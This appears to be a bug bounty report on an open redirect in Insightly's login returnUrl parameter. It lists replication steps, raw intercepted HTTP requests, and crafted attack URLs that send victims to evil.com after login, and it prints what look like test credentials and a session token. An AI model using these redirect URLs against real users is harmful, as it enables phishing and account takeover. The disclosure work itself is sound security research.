returnUrl= allow attacker to redirect users to the another phising website and takeover credientials

How it was found

Hello team, While testing the application https://crm.na1.insightly.com, i found an interesting parameter from where i was able to redirect users to the another domains and can takeover the victims account. I found this issue in the login authentication so there will be the chance that i can easily takeover victims account.

Vulnerable URL: ██████&returnUrl=http%3a%2f%2f192.168.1.77%3a8000%2f

This url will work once a time, every time for the new attack or redirect, we have to generate new url.

#STEPS TO REPLICATE [1]. Go to the website [ crm.na1.insightly.com ] and login with your credentials [2]. Now intercept the request you will get the request

POST /User/AuthenticateForms HTTP/1.1
Host: login.insightly.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/█████ Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Origin: https://login.insightly.com
Connection: close
Referer: https://login.insightly.com/User/Login?ReturnUrl=%2f
Cookie: █████
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

__RequestVerificationToken=4BVQV2MAdvcy2OyK6O0n3y42YRSJDDLcxesTFOeBBnwMLe1tiW_wCpMUoVZOop4wu1SxC95l_rcYoEGGWnzriUmmZJE1&email=ilovebugbounty%40gmail.com&password=AMRIT007qwerty%23&ReturnUrl=%2F&AppId=

[3]. Now change the parameter ReturnUrl=%2F > ReturnUrl=https://evil.com

[4]. Send the request [5]. Now you will receive GET url as

GET /User/FrontDoorLogin/?token=YrkOz7vdHHA9AH7B%2fY5jUdIP1%2bchPdePfn0Zm7uCtVQui0tHHMW24B14WwsYP5%2bKpa3Xz7%2f5r5muQa3EB%2bQEwtPlJ8XbvozoLZFfhD75Sm3tKLhdgfWWHYq8abV2%2bpOtifD1I5N2uomDBXvMQ8tjFREb39XDuUcrObQMUsqboMZY9dojVqORmIYwb4VPyoSBaYOF4%2bYOX3GTYj8t1ArOA0xeH4oorz6flU6FLrfTLdtG6u%2fC7vZ9CfvsfH3F%2bBye&returnUrl=https://evil.com HTTP/1.1
Host: crm.na1.insightly.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/█████████ Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://login.insightly.com/
Connection: close
Cookie: ███████
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1

████████

[6]. Now copy that url and domain. For the attack the final url will be like

███/WKUbuJKtOIbCH0Npi1DvVp0kXUo7JYrQ2Kep6VUOybmgBo6q9byEMy3Itsa35Ra60cK2eUFK6i78lKdX4/QN4Ln3UPEzfpMTvk8ocH6Ikix0zKolaN/0kaMWB3Ia4GCVOvTPhfZUGkgOY/HMC9ZCrdjXMNP/joOqZ/oqBrFRu4tCE/mX/JW5o3J18Hx9MOuOVCNgs1mD8zKjIz1uSW+oBmu+MfXT&returnUrl=https://evil.com

███████

Impact

Attacker can easily redirect urls to the another phishing site and can takeover the victims account using the login endpoint.